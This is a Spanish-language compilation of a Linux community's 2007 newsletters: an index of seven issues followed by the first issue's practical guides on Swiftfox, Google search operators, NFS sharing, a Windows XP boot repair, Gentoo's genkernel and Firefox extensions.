Mega Boletin Fent Linux 2007

159

description

nueva etapa con las ilusiones intactas.Primer boletín, publicado el 7 del 3 del 2007, con el siguiente contenido:1. Swiftfox.2. Cómo buscar en google3. Sistemas de archivos de red: guía básica de NFS4. Qué hacer cuando instalamos Linux junto con Windows y éste último nos da error de arranque en hal.dll5. Uso básico de genkernel en Gentoo6. Extensiones para firefox por los foreros de FL7. Agradecimientos y créditosSegundo boletín, publicado el 4 del 4 del 2007, con motivo de nuestro tercer aniversario, con el siguiente contenido.1. Entrevista a Javier Casares, de OJObuscador2. Instalar AIXGL + Beryl en KDE/Gnome con el driver de NVIDIA en Debian3. Manual APT-Build4. Last.fm5. Convertir imágenes de archivo en GNU/Linux6. Escribir en particiones NTFS desde GNU/Linux7. Algo he oído sobre linux, pero cómo lo consigo. Te damos unas pistas8. Agradecimientos y créditos9. Tercer aniversarioEl tercer boletín, publicado el 3 del 5 del 2007, con el siguiente material:1. Entrevista a Maxence DUNNEWIND desarrollador de Elbuntu2. Driver ATI para AIGLX+Beryl en Debian3. WengoPhone, VoIP OpenSource4. Instalación de elbuntu (Ubuntu + E17)5. Emuladores y roms en linux6. Agradecimientos y créditos7. Anexo: Entrevista en versión originalCuarto boletín, publicado el 19 del 6 del 2007. Índice de contenido:1.Compatibilidad Linux y tabla de equivalencias.2.Seguridad en P2P.3.DVD Seguridad total.4.Webs de ayuda para diferentes entornos.5.Guía de usuario de entornos gráficos.6.Usando módulos de memoria defectuosos con BadRam.7.Enviando e-mails desde consola.8.Agradecimientos y créditos.Quinto boletín, publicado el 12 del 7 del 2007, Índice de contenido:1. Impresora en GNU/Linux a un puerto serie2. Seahorse, claves de encriptación bajo Gnu/linux3. Alias en Consola4. Magazines, boletines y documentación libre5. Lliurex y la rueda del ratón6. Entrevista Uberyl (ahora ComFusion)7. Agradecimientos y créditosEl sexto, publicado el 6 del 9 del 2007. Con la siguiente documentación:1. Edición de video con Kino2. Grabación desde Consola3. Script para grabar dvds4. Mininizar aplicaciones: KDocker y All Tray5. Herramientas de seguridad I (john the ripper)6. About:config7. Fedora: Sitios de interés8. Presentación proyecto RLC9. Agradecimientos y créditosEl séptimo, y hasta la fecha último, publicado el 13 del 11 del 2007. Índice de contenido:1. Tune2fs2. Netscape 9.0: Instalación. Experiencias al respecto3. Actualizar nvidia-glx y xorg en Debian Sid4. Virtualización con VirtualBox.5. Herramientas de seguridad II: Netcat6. Optimizando el arranque7. Montar unidades NTFS en Debian8. Compiz-Fusion en Debian9. Agradecimientos y créditos

Transcript of Mega Boletin Fent Linux 2007

Page 1: Mega Boletin Fent Linux 2007
Page 2: Mega Boletin Fent Linux 2007

El año 2007 se caracterizó por la apuesta realizada por este espacio hacía la presentación de

documentación y manuales en forma de boletines presentes de forma online y disponibles

también en formato pdf.

Ahora llega el momento de echar un vistazo hacía atrás y resumir en unas pocas líneas el

contenido de cada uno de ellos, y por que no, ofrecer el contenido de todos ellos en un sólo

pdf, para que pueda ser de utilidad para nuestros fieles e infieles, despistados o interesados en

tener a su libre disposición el material elaborado a lo largo del año recién acabado, para poder

de esta forma cerrar el ciclo de los mismos e iniciar una nueva etapa con las ilusiones intactas.

Primer boletín, publicado el 7 del 3 del 2007, con el siguiente contenido:

1. Swiftfox

2. Cómo buscar en google

3. Sistemas de archivos de red: guía básica de NFS

4. Qué hacer cuando instalamos Linux junto con Windows y éste último nos da error

de arranque en hal.dll

5. Uso básico de genkernel en Gentoo

6. Extensiones para firefox por los foreros de FL

7. Agradecimientos y créditos

Segundo boletín, publicado el 4 del 4 del 2007, con motivo de nuestro tercer aniversario, con el

siguiente contenido.

1. Entrevista a Javier Casares, de OJObuscador

2. Instalar AIXGL + Beryl en KDE/Gnome con el driver de NVIDIA en Debian

3. Manual APT-Build

4. Last.fm

5. Convertir imágenes de archivo en GNU/Linux

6. Escribir en particiones NTFS desde GNU/Linux

7. Algo he oído sobre linux, pero cómo lo consigo. Te damos unas pistas

8. Agradecimientos y créditos

9. Tercer aniversario

El tercer boletín, publicado el 3 del 5 del 2007, con el siguiente material:

1. Entrevista a Maxence DUNNEWIND desarrollador de Elbuntu

2. Driver ATI para AIGLX+Beryl en Debian

3. WengoPhone, VoIP OpenSource

4. Instalación de elbuntu (Ubuntu + E17)

5. Emuladores y roms en linux

6. Agradecimientos y créditos

Page 3: Mega Boletin Fent Linux 2007

7. Anexo: Entrevista en versión original

Cuarto boletín, publicado el 19 del 6 del 2007. Índice de contenido:

1.Compatibilidad Linux y tabla de equivalencias.

2.Seguridad en P2P.

3.DVD Seguridad total.

4.Webs de ayuda para diferentes entornos.

5.Guía de usuario de entornos gráficos.

6.Usando módulos de memoria defectuosos con BadRam.

7.Enviando e-mails desde consola.

8.Agradecimientos y créditos.

Quinto boletín, publicado el 12 del 7 del 2007, Índice de contenido:

1. Impresora en GNU/Linux a un puerto serie

2. Seahorse, claves de encriptación bajo Gnu/linux

3. Alias en Consola

4. Magazines, boletines y documentación libre

5. Lliurex y la rueda del ratón

6. Entrevista Uberyl (ahora ComFusion)

7. Agradecimientos y créditos

El sexto, publicado el 6 del 9 del 2007. Con la siguiente documentación:

1. Edición de video con Kino

2. Grabación desde Consola

3. Script para grabar dvds

4. Mininizar aplicaciones: KDocker y All Tray

5. Herramientas de seguridad I (john the ripper)

6. About:config

7. Fedora: Sitios de interés

8. Presentación proyecto RLC

9. Agradecimientos y créditos

El séptimo, y hasta la fecha último, publicado el 13 del 11 del 2007. Índice de contenido:

1. Tune2fs

2. Netscape 9.0: Instalación. Experiencias al respecto

Page 4: Mega Boletin Fent Linux 2007

3. Actualizar nvidia-glx y xorg en Debian Sid

4. Virtualización con VirtualBox.

5. Herramientas de seguridad II: Netcat

6. Optimizando el arranque

7. Montar unidades NTFS en Debian

8. Compiz-Fusion en Debian

9. Agradecimientos y créditos

- Agradecimientos generales para los colaboradores que lo han echo posible.

Para acceder al material confeccionado basta con seguir los diferentes enlaces en la web, para

disponer de todo el material integro de los diferentes boletines en pdf: Boletines_FL_2007

Recordar que dicho material se ofrece bajo la licencia existente en FentLinux, que rogamos sea

respetada.

Para contactos o gente interesada en colaborar en su mantenimiento y difusión: Contacto

Entre todos el camino a recorrer se hace más sencillo y simple.

Para el 2008 mucho más.

Page 5: Mega Boletin Fent Linux 2007

- 1º BOLETÍN FL 2007 -

Con todos nosotros, el 1er boletín online de FL, con la ilusión intacta y el

deseo de que sea el principio de algo bueno.

Temas:

1. Swiftfox

2. Cómo buscar en google

3. Sistemas de archivos de red: guía básica de NFS

4. Qué hacer cuando instalamos Linux junto con Windows y éste último nos da error

de arranque en hal.dll

5. Uso básico de genkernel en Gentoo

6. Extensiones para firefox por los foreros de FL

7. Agradecimientos y créditos

1. Swiftfox

Por Cocolino.

Swiftfox: otra (interesante) opción para navegar que descubrí de la mano del viejo amigo Bad

Seed (Marcel)

Swiftfox es un navegador web basado en el navegador de la fundación mozilla: Firefox, se

presenta optimizado para GNU/Linux: menor consumo, más velocidad... y para las

arquitecturas AMD e Intel. El lanzamiento más último (en este preciso instante) es la versión

2.0.0.11 que se basa en el actual Firefox 2.0.0.11.

Prácticamente se liberan nuevas versiones con cada movimiento relacionado con el navegador

Firefox, esto implica que si mañana la fundación mozilla libera la versión 2.0.xxx tendremos

casi a la par (muy probablemente el mismo día) una nueva versión de este navegador basado

en la versión más reciente de Firefox.

En un principio, se ofreció sólo como una opción para procesadores AMD en formato traball, el

proyecto ha evolucionado y actualmente encontramos también versiones para procesadores

Intel; Y ambas se ofrecen tanto en el clásico formato reseñado, el traball, como en paquetes

deb (propios de la distribución gnu/linux debian) y un instalador genérico que en principio

funciona con cualquier distribución.

Su instalación, de la que ahora contamos con tres opciones diferentes, es bien sencilla y utiliza

para navegar los diferentes plugins y perfil del navegador firefox.

Veamos las opciones de utilización.

Page 6: Mega Boletin Fent Linux 2007

Por un lado contamos con la opción “clásica” del archivo comprimido en tar.

Su uso e instalación es puede ser tan básica como descargar el correspondiente tar.bz2,

extraer el archivo en tu /home (directorio de usuario), para lanzarlo basta con ejecutar el

archivo que indica Swiftfox y automáticamente detecta y hace uso de tu perfil de Firefox y a

navegar a toda máquina. Si lo instalamos por este medio comprobar que los plugins estén

situados en el directorio ~/.mozilla/plugins o swiftfox/plugins para poder utilizarlos

tranquilamente.

Esta instalación sería válida para el usuario en cuestión, si deseamos que lo este para el resto

de usuarios, habría que instalarlo en el directorio /opt.

Para instalarlo desde el comprimido tar.bz2 para todos los usuarios.

1. Tras la correspondiente descarga, entramos en el directorio, p.ej. en /home/fentux/descargas

fentux@fl:~> cd descargas/

fentux@fl:~/descargas>

2. Lo instalaremos en un directorio de root (administrador) toca identificarse.

fentux@fl:~/descargas> su

Password:

fentux@fl:~/descargas#

3. Vamos allá, escribimos lo siguiente

tar -jxvf swiftfox-2.0.0.11-pentium-m.tar.bz2 -C /opt

Nota: Para Los Ubunteros recordar usar el sudo

4. Queda instalado swiftfox en /opt. Si nos vamos a ese directorio con el comando ls

podremos verlo

fentux@fl:~/descargas# cd /opt

fentux@fl:~/opt# ls

5. Para crear un comando lanzador (asociamos el ejecutable binario a /usr/bin)

fentux@fl:~/opt# ln -s /opt/swiftfox/swiftfox /usr/bin/swiftfox

En debian o similares:

sudo dpkg-divert --add /usr/bin/swiftfox

sudo ln -s /opt/swiftfox/swiftfox /usr/bin/swiftfox

6. Salimos de root con "exit" o "Ctrl+D" y listo:

fentux@fl:~/descargas> swiftfox

Page 7: Mega Boletin Fent Linux 2007

Desde los paquetes DEB para debian y derivados

Para utilizar el navegador también contamos con la opción de utilizar los paquetes

.deb optimizados para la distribución debian, que en principio deberían funcionar con todas

las versiones debian derivadas de las ramas testing (versión de prueba - etch) y unstable

(versión inestable – sid).

Tras la descarga correspondiente, lo instalamos como cualquier paquete debian. Mediante la

orden desde consola y como administrador (root)

dpkg --install nombre_version.deb

o también

dkpg –i nombre_paquete.deb

Se instala en la ruta /usr/lib/swiftox y utilizará los plugins de Firefox si estos están instalados

en /usr/lib/mozilla-firefox

Podemos lanzarlo posteriormente desde terminal mediante el comando swiftox o desde el

lanzador de aplicaciones.

Ahora ya es posible instalarlo con apt (también aptitude) en debian (también synaptic y

similares).

Editamos con permisos máximos, el sources.list y añadimos

deb http://getswiftfox.com/builds/debian unstable non-free

Después actualizamos el listado de repositorios

apt-get update

Y luego instalamos de acuerdo a nuestro procesador.

apt-get install version_de_swiftfox

Para saber que versión es la que corresponde de acuerdo a mi procesador: versiones

disponibles.

La mayor ventaja de añadir la entrada en el sources.list e instalarlo vía

apt/aptitude/synaptic es que una vez instalado te despreocupas de él, ya que con sólo

mantener la distribución correctamente actualizada tendrás siempre instalada la última versión

estable del mismo disponible. (manual apt)

Señalar que se espera que pronto también se encuentren los paquetes correspondientes a la

arquitectura rpm.

Desde el instalador

Estos instaladores son escrituras simples y muy sencillas de utilizar, y en principio funcionan

con cualquier distribución. Se instala en el directorio de /opt y se coloca en el menú para un

rápido lanzamiento. La escritura procurará poner plugins existentes a disposición Swiftfox.

Page 8: Mega Boletin Fent Linux 2007

También cuenta con un desinstalador.

Pasos para utilizarlo:

1.Paso descargarlo.

2.Abrir un terminal

3.Para lanzar el instalador escribir en el terminal la siguiente orden

sh install-swiftfox.sh

4.Listo, el se encarga del resto.

5.Podemos lanzarlo desde el menú o desde el terminal mediante el comando swiftfox.

En todos los casos se encuentran disponibles para los siguientes procesadores, escoge el

tuyo y a disfrutarlo:

* Para procesadores amd contamos con versiones específicas para:

• Athlon 64

• Athlon-XP

• Sempron

• Duron

• Athlon (Thunderbird)

• Duron (Spitfire) K6-2

* Para procesadores intel contamos con versiones específicas para:

• Pentium 4 Prescott

• Pentium M

• Pentium 3

• Pentium 3M

• Pentium 2 Celeron (Willamette, Northwood, Celeron D)

• Celeron M

• Celeron (Coppermine, Tualatin)

Versión Pre o versiones en desarrollo.

Swiftfox 2.0.0.12pre se basa en el rama 1.8. Esta es la versión en desarrollo de la

rama, que se encuentra en fase de pruebas y que ya posee alguna que otra característica de

versiones futuras del navegador. Solamente se encuentran disponibles versiones para Athlon

XP y Pentium 4 en tar y paquete deb.

También posibilita su instalación vía apt/aptitude. Para ello añadimos la siguiente entrada en

vuestro sources.list

deb http://getswiftfox.com/builds/debian/branch unstable non-free

Posteriormente actualizamos e instalamos (o una o la otra)

apt-get update && apt-get install swiftfox-branch-amd

apt-get update && apt-get install swiftfox-branch-intel

Page 9: Mega Boletin Fent Linux 2007

Swiftfox 3.0b2pre se basa en la actual beta de Firefox 3.0. Copntamos con versión para amd

e intel en formato tar o deb, e incluso es instalable vía apt/aptitude. Para ello añadir el

siguiente repositorio:

deb http://getswiftfox.com/builds/debian/trunk unstable non-free

Para instalarlo, la siguiente orden (o una o la otra).

apt-get update && apt-get install swiftfox-trunk-amd

apt-get update && apt-get install swiftfox-trunk-intel

Recordar que es una versión de prueba, no apta para entornos de producción.

Traducción al español. Instalación paquete -es.

Basta con instalar la extensión XPI correspondiente al idioma español. Reiniciar el navegador.

Escribir en la barra de direcciones: about:config

Utilizar el filtro y buscar: general.useragent.locale

Doble clic sobre él y cambiar lo de en-US que aparezca por es-ES

Reiniciar el navegador y listo, versión traducida. Eso si el navegador te indica que es firefox en

la barra del título del navegador, pero es Swiftfox, cosa que podéis comprobar en el icono

del mismo o en ayuda-acerca de firefox.

Para más detalles sobre el programa, foro para dudas y blog para seguir la actualidad

relacionada con la aplicación: getswiftfox.com.

Ya saben escojan su versión de acuerdo con su procesador, elijan la forma de instalación que

más les guste o les resulte más cómoda y a disfrutar a toda máquina.

* Nota: Para los que tengan dudas y no sepan cual es su procesador un comando útil:

cat /proc/cpuinfo

• Advertencia: No usen este navegador a la par de Mozilla Firefox, o este u el otro. Problema

de incompatibilidad, utilizan el mismo perfil.

2. Cómo buscar en Google

Por Zx80.

* Búsqueda básica

Para hacer una consulta en Google, simplemente escriba algunas palabras descriptivas y

presione la tecla "Intro" (o haga clic en el botón de búsqueda en Google) para ver la lista de

resultados relevantes.

Page 10: Mega Boletin Fent Linux 2007

Buscar: coches

* Términos superfluos

Google ignora las palabras y caracteres comunes, conocidos como términos superfluos como

"http" y ".com,".

Use el signo "+" para incluir términos superfluos en su búsqueda. Asegúrese de incluir un

espacio antes del signo "+".

Buscar: googlemania +com Buscar: googlemania com

Si desea distinguir estas dos palabras, use el signo +.

Buscar: caña Buscar: +caña

* Exclusión de palabras

Puede excluir una palabra de la búsqueda colocando un signo menos ("-") inmediatamente

antes del término que quiere excluir. (Asegúrese de dejar un espacio antes del signo menos.)

Buscar: radio online Buscar: radio -online

* Búsqueda de frases

Para la búsqueda de frases solo hay que añadir comillas dobles en la frase a buscar. Ademas

Google reconoce guiones, barras oblicuas, puntos, signos igual y apostrofes como conectores

de frases.

Buscar: Puerta de Alcalá Buscar: "Puerta de Alcalá"

* Restricción de dominio

Algunas palabras, cuando se anexan con dos puntos, tienen un significado especial para

Google. Una de esas palabras es el operador "site:". Para buscar en un sitio o dominio

específico, use la sintaxis "site:ejemplodedominio.com" en la casilla de búsqueda Google.

Por ejemplo, para encontrar información de artículos en el sitio Google, teclea:

Buscar: artículos site:www.google.com

* Búsquedas múltiples

Google permite realizar búsquedas, en las que podemos encontrar una determinada palabra u

otra. Para ello usaremos "OR" o "|".

Por ejemplo, para buscar páginas de en los que aparezca "tienda" y "boligrafos" o bien "tienda"

y "lapices".

Buscar: tienda (bolígrafos OR lapices) Buscar: tienda (bolígrafos | lapices)

Google es también capaz de buscar rangos de números cuando los separas con dos puntos y

si lo combinas con una frase puedes hacer búsquedas del tipo "La Coruña" 1990..1999

devolverá páginas en las que se hable de La Coruña y aparezcan además alguno de los

números que van de 1990 a 1999.

Page 11: Mega Boletin Fent Linux 2007

* Uso de comodines

Si buscamos una Frase Exacta, pero, queremos incluir palabras entre nuestra búsqueda,

Google permite el uso de unos comodines.

Por ejemplo, si buscamos frases tipo "los tres días", "los tristes días", "los tristes oscuros días"

Buscar: "los * días" Buscar: "los * * días"

* Palabras Clave de Google

Google tiene algunas formas de buscar paginas utilizando sus "palabras clave".

- allinanchor: Seguido de varias palabras, te da resultados de páginas en la que están todas las

palabras en el enlace.

- allintext: Seguido de varias palabras, te da resultados de páginas en la que están todas las

palabras en la página.

- allintitle: Seguido de varias palabras, te da resultados de páginas en la que están todas las

palabras en el título.

- allinurl: Seguido de varias palabras, te da resultados de la búsqueda de todas esas palabras

en la URL.

- author: (Solo funciona en Google Groups) Busca en los grupos artículos escritos por el

nombre o la dirección de correo que le pasemos.

- bphonebook: Si le pasas un lugar o dirección, te da el número de teléfono.

- cache: Seguido de una URL, te mostrará la página en cache.

- define: Seguido de una palabra, te da la definición.

- ext: ver filetype.

- filetype: Seguido de una extensión determinada, busca documentos en ese tipo de fichero.

- group: (Solo funciona en Google Groups) Te restringe la búsqueda con el grupo que le pases.

- groups: ver group.

- id: ver info.

- inanchor: Solo la primera palabra de las que le siguen, ha de estar en el enlace.

- info: Seguido de una URL, mostrará una página con enlaces relacionados, páginas que

contiene esa URL

- insubject: (Solo funciona en Google Groups) Busca en el asunto del mensaje.

- intext: Solo la primera palabra de las que le siguen, te da resultados de páginas en la que

está la palabra en la página.

- intitle: Solo la primera palabra de las que le siguen, ha de estar en el título.

- inurl: Solo la primera de las palabras que le siguen, ha de estar en la URL.

Page 12: Mega Boletin Fent Linux 2007

- link: Seguido de una URL, te encuentra todas aquellas páginas que enlazan con la URL dada.

- location: (Solo funciona en Google News) Si le pasas un país a la búsqueda, te restringe los

resultados a ese país.

- msgid: (Solo funciona en Google Groups) Busca el mensaje con ese ID.

- phonebook: Te dará resultados de teléfonos con las palabras que le siguen.

- related: Seguido de una URL, tiene el mismo efecto que cuando se pulsa sobre el enlace de

"Enlaces Relacionados".

- rphonebook: Te dará resultados de teléfonos residenciales con las palabras que le siguen.

- site: Seguido de un dominio, te da los resultados de la búsqueda solo en ese dominio.

- source: (Solo funciona en Google News) Te limita las búsquedas al medio de comunicación

que le indiques.

- stocks: Seguido de un código de Bolsa, te dará los datos concretos.

- store: (Solo funciona en Froogle) Te limita las búsquedas a un determinado comercio.

* Definiciones

Google tiene la capacidad de buscar definiciones de palabras. Gracias a la palabra clave

define: seguido de la palabra que buscas, te aparecerán resultados donde se defina esa

palabra.

Buscar: define:World Wide Web

Otra forma de buscar en Google la definición de una palabra es, simplemente, preguntándole

what is xxxxx.

Buscar: what is internet

* Documentos PDF.

Los archivos PDF son directamente visibles mediante un vínculo a nuestro visor. Si prefiere ver

un conjunto de resultados particular sin vínculos PDF, simplemente teclea -filetype:pdf en el

cuadro de búsqueda junto con los términos de la búsqueda.

* Callejero.

Al igual que hay una listín de teléfonos, tenemos el callejero americano. Simplemente poniendo

una dirección, te saldrá la opción de consultar el mapa.

Buscar: 165 University Ave Palo Alto CA

* Conversiones.

Las conversiones de moneda también funcionan en español p.e. :

Buscar: 22000 yen a euro

devuelve

Page 13: Mega Boletin Fent Linux 2007

22 000 (Japanese yen a Euro) = 156.479023

O también se puede buscar como: 5 inches -> cm

* Google no hace caso a:

Modificadores lógicos AND. Comodines * para rellenar la palabra. Acentos, mayúsculas...

3. Sistemas de archivos de red: guía básica de NFS

Por vl@d.

Sin duda uno de los mayores atractivos que posee la informática es la posibilidad de

compartir archivos entre sus usuarios y ya desde sus comienzos se establecieron métodos para

llevar a cabo este fin. ¿Quién no ha usado alguna vez los cada vez más obsoletos disquetes o

en los últimos tiempos los novedosos dispositivos usb de almacenaje?

Pero no siempre se han tenido a mano todas las ventajas y avances de la informática actual,

por lo que ha habido que buscar la manera de compartir archivos o directorios en

determinados entornos para que la producción o el trabajo diario no se vieran afectados.

¿Qué es NFS? Network Filesystem (sistema de archivos de red) es una herramienta

desarrollada por Sun Microsystems que nos permite en un entorno de red, montar directorios

que un host remoto nos está ofreciendo en nuestra propia computadora, como si de un

directorio local se tratará, con la ventaja de que este sistema no distingue entre sistemas

operativos, es decir, podemos estar trabajando con Linux y montar un directorio remoto de un

Macintosh.

Si duda los entendidos en la materia sabrán que actualmente existen alternativas a NFS,

algunas de ellas que hasta incluso ofrecen cifrado de datos al correr sobre ssh, pero en el

presente tutorial nos vamos a ocupar del usuario doméstico, el que acaba de adquirir un

segundo ordenador y está interesado en compartir datos entre sus dos máquinas gracias a la

pequeña red casera que se ha montado.

Prácticamente todos los kernels que vienen de serie con las distribuciones más populares de

linux tiene soporte NFS incluido, no obstante debemos asegurarnos de este extremo y en el

caso de compilarnos nuestros propios núcleos (la mejor opción) daremos soporte al mismo en

la sección “Filesystems”.

Bien, antes de ver exactamente cual es el funcionamiento de un servidor NFS y como

podemos adaptarlo a nuestra red doméstica, es necesario que hablemos de los programas o

demonios, así como de los archivos de configuración más importantes que intervienen junto

con el servidor NFS propiamente dicho.

NFS usa RPC (Remote Procedure Calls, llamadas a procedimientos remotos), cuya función es

hacer llamadas a través de la red y facilitar que cada sistema interprete esas llamadas y las

transforme en llamadas al sistema local. Para usar RPC hemos de ejecutar el programa

Page 14: Mega Boletin Fent Linux 2007

portmap cuya función es mapear cada puerto usado por un programa RPC al demonio

específico, de modo que cuando el demonio RPC se inicia, contacta con el mapeador de

puertos (portmapper) para registrarse a si mismo. Si queremos ver que es lo que sabe el

mapeador de puertos podemos utilizar el comando rpcinfo, vemos un ejemplo:

vlad@saruman:~$ rpcinfo -p 127.0.0.1

program vers proto port

100000 2 tcp 111 portmapper

100000 2 udp 111 portmapper

Hay dos demonios muy importantes que usan RPC y que son vitales para poder usar NFS:

nfsd y mountd. El primero de ellos es el propio demonio de NFS, mientras que mountd es el

demonio encargado del montaje. Ambos deben ser iniciados después del mapeador de puertos

para que puedan ser registrados y poder de esta manera servir los directorios exportados a los

sistemas clientes.

Cabe destacar también al programa showmount que nos muestra lo que él cree que son los

sistemas de archivos montados en otros hosts. Para poder informarnos sobre esto,

showmount lo que hace es leer directamente del archivo /etc/rmtab, donde se encuentran los

directorios montados remotamente, pero podría suceder que las entradas que se vayan

haciendo a este archivos no se fueran eliminando, con lo que la información ofrecida por

showmount puede no ser exacta.

Pero el uso de RPC puede plantearnos un problema de seguridad, ya que cualquier host que

tenga acceso a su red conocerá gracias al comando rpcinfo que servicios RPC está

ejecutando. Para contrarrestar esto podemos hacer uso de reglas de iptables o tcp-wrappers

mediante los archivos hosts.allow y hosts.deny, definiendo los sistemas autorizados que

pueden conectarse a nosotros. El presente tutorial está más orientado al usuario doméstico

que no tiene este tipo de problema. Hay abundante documentación en internet acerca de

firewalls en Linux.

Bien, imaginemos el siguiente escenario en una supuesta red personal:

Host1= 192.168.1.2

Host2= 192.168.1.3

Host3= 192.168.1.9

Todos los ordenadores están conectados por un router y queremos que Host1 sea el servidor

NFS, ya que es en este sistema donde tenemos almacenados gran cantidad de música y

videos dentro de un directorio y es este directorio precisamente el que queremos exportar

hacia Host2. Host3 es un sistema en el que no tenemos confianza y no queremos que acceda al

servidor, ahora veremos como.

En la raíz de Host1 tenemos un directorio llamado “musica” y dentro de él otro llamado

“videos”. Una vez instalado el paquete correspondiente al servidor NFS de la distribución que

tengamos en ese ordenador y de asegurarnos de que están corriendo todos los servicios

necesarios, vamos a ver como configuraríamos el archivo /etc/exports para conseguir nuestros

Page 15: Mega Boletin Fent Linux 2007

propósitos.

Abrimos dicho archivo con nuestro editor favorito y podríamos poner algo tan sencillo como

esto:

/musica (rw,no_root_squash)

De esta forma exportaríamos ese directorio en modo lectura-escritura a todos los host que

tengan acceso a Host1 y por si fuera poco si el usuario es root, tendrá todos los privilegios del

usuario root del propio servidor NFS. Obviamente, esta configuración solo es recomendable

para una pequeña red casera, donde la seguridad no está entre nuestras preocupaciones más

importantes.

¿Cómo hago que Host3 no pueda montar nada en su disco duro local? Pues dejando

/etc/exports del servidor de esta manera:

/musica (rw,no_root_squash)

/musica 192.168.1.9(noaccess)

Una vez definido este archivo tenemos que editar el /etc/fstab de Host2 y añadir una línea

referente al directorio que que vamos a importar a través de la red. El esquema de la línea que

hemos de añadir es el siguiente:

servidor:/directorio/exportado /punto/montaje nfs opciones

Las opciones NFS más comunes son las siguientes:

-hard o soft, especifican si el programa que usa un archivo vía conexión NFS debe parar y

esperar a que el servidor vuelva a estar en línea si la máquina que exporta ese sistema de

archivos no está disponible (hard), o bien debe informar de un error (soft).

-intr,permite a las peticiones NFS ser interrumpidas si el servidor se cae o no puede ser

accedido.

-rsize=8192 y wsize=8192, pueden acelerar la comunicación NFS tanto para leer (rsize) como

para escribir (wsize).

-nolock, es requerido a veces cuando conectamos a servidores NFS antiguos. Para requerir el

bloqueo, use la opción lock.

-noexec, no permite la ejecución de binarios en el sistema de archivos montado. Esto es útil si

el sistema está montando un sistema de archivos no Linux a través de NFS que contiene

binarios incompatibles.

-nfsvers=2 o nfsvers=3, especifica que versión del protocolo NFS usar.

-nosuid , no permite los bits set-user-identifier o set-group-identifier.

Por supuesto también podemos echar mano de las opciones más comunes de mount y dado

que se trata de una red casera, vamos la línea de la siguiente forma:

192.168.1.2:/musica /home/vlad/nfs nfs nosuid,noauto,user,rw

Page 16: Mega Boletin Fent Linux 2007

Por supuesto creamos el punto de montaje en Host2 y situados en nuestro directorio personal

en ese sistema:

mkdir nfs

Bueno, pues ahora observemos los efectos de todo esto, lo primero una consulta rpcinfo desde

Host2 hacia el servidor NFS:

vlad@ubuntu:~$ rpcinfo -p 192.168.1.2

programa vers proto puerto

100000 2 tcp 111 portmapper

100000 2 udp 111 portmapper

100003 2 udp 2049 nfs

100003 3 udp 2049 nfs

100003 4 udp 2049 nfs

100003 2 tcp 2049 nfs

100003 3 tcp 2049 nfs

100003 4 tcp 2049 nfs

100021 1 udp 32768 nlockmgr

100021 3 udp 32768 nlockmgr

100021 4 udp 32768 nlockmgr

100021 1 tcp 32774 nlockmgr

100021 3 tcp 32774 nlockmgr

100021 4 tcp 32774 nlockmgr

100005 1 udp 912 mountd

100005 1 tcp 915 mountd

100005 2 udp 912 mountd

100005 2 tcp 915 mountd

100005 3 udp 912 mountd

100005 3 tcp 915 mountd

Por ahí vemos al servidor NFS funcionando, vamos a importar el directorio:

vlad@ubuntu:~$ mount /home/vlad/nfs/

Esperamos a que el proceso de montaje se haya realizado y ya tenemos montado el directorio

con todos nuestros archivos dentro.

4. Qué hacer cuando instalamos Linux junto con Windows y éste

último nos da error de arranque en hal.dll

Por Zx80.

Arrancar desde el CD de windows XP y dejar que cargue el sistema.

Seleccionar R para restaurar, lo que nos llevará a una consola y seleccionamos el Windows que

queremos reparar.

Page 17: Mega Boletin Fent Linux 2007

[1] C:\Windows ¿Agregar la instalación a la lista de inicio? (Sí/No/Todas) s

>bootcfg /list (se muestra boot.ini) >bootcfg /rebuild (repara boot.ini)

* Escribir identificador de carga:

Tecleamos: Microsoft Windows XP Home Edition (o Profesional Edition)

* Escribir opciones de carga del Sistema operativo /fastdetect exit

El equipo se reinicia y ya funcionará.

5. Uso básico de genkernel en Gentoo

Por Zx80.

Gentoo nos provee de una herramienta muy útil y potente para compilar el kernel

(aunque se puede hacer a la manera clásica Wink ). Usando genkernel nos aseguramos de

que tanto los archivos de configuración del kernel, como los de grub y la compilación de kernel

y módulos va a ser un éxito, ya que lo hace todo automáticamente.

Las opciones más habituales son:

--no-clean: No borra nada preexistente en el árbol de fuentes.

--menuconfig: Para configuración de kernel mediante ncurses.

--no-install: Compila el kernel pero no instala nada.

--bootloader=n: Especifica si usamos grub o lilo.

--save-config: Guarda la configuración en /etc/kernels

--kerneldir=ruta: Especifica una ruta alternativa a las fuentes del kernel.

--kernel-config=ruta: Ruta alternativa al archivo config.

--oldconfig: Recoje información del sistema actual mediante /usr/share/genkernel.

Para configurar y compilar un kernel y sus módulos, bastaría hacer lo siguiente:

genkernel --menuconfig --bootloader=grub all

Si queremos pasarle un archivo de configuración que ya tenemos en nuestro home

teclearíamos:

genkernel --kernel-config=/home/zx80/config --menuconfig --bootloader=grub all

Si queremos usar la configuración actual podemos usar el comando:

zcat /proc/config.gz > /usr/src/config

Esto copiará el actual config a la ruta /usr/src/config por lo que luego deberemos pasarle el

parámetro --kernel-config=/usr/src/config a genkernel, como haciamos con nuestro home.

Page 18: Mega Boletin Fent Linux 2007

6. Extensiones Firefox por los foreros de FentLinux

Partiendo de la premisa general de que las extensiones dotan de nuevas

funcionalidades y características al navegador, entendemos que puede llegar

a ser complicado orientarse ante la gran cantidad de extensiones disponibles

para los productos de la fundación mozilla, sobre todo para aquellos que se acercan por

primera vez a él, por otra parte debemos tener en cuenta que cada usuario es un mundo, y

que sus necesidades particulares son solo suyas, aún así desde FL os ofrecemos una breve

reseña de aquellas que venimos utilizando habitualmente, con el fin de que pueda serviros u

orientaros a la hora de escoger las vuestras. Conviene tener en cuenta que con las diferentes

actualizaciones de versiones del navegador, puede ocurrir que alguna extensión deje de

funcionar correctamente, aspecto que no debe preocuparnos, ya que en breve tendremos a

nuestra disposición una versión actualizada de la misma, en todo caso y si la extensión no

funciona con la nueva versión de Firefox convendría desinstalarla y esperar una rápida

actualización de la misma por parte de los autores.

- Mediaplayer conectivity: Para poder ver videos y streams mediante mplayer que no

soporta mplayerplug-in. Permite descargar cualquier elemento multimedia presente en una

web para luego reproducirlo localmente en nuestro reproductor favorito.

- Forecast: Para saber el tiempo que hace y el de mañana.

- ShowIP: Para saber la IP del site donde me conecto.

- Adblock plus: para evitar la porquería en plan de publicidad y esas cosillas molestas que

tienen alguna que otra web, mejorando la carga de las mismas.

- NoScript: Bloquea por defecto la ejecución de javascript y otras cosillas. Permite la ejecución

de código JavaScript sólo en webs que uno quiera (en las que confies plenamente). Previene el

ataque de agujeros de seguridad, incluso los desconocidos.

- Videodonwloader: Para bajar los videos de youtube.

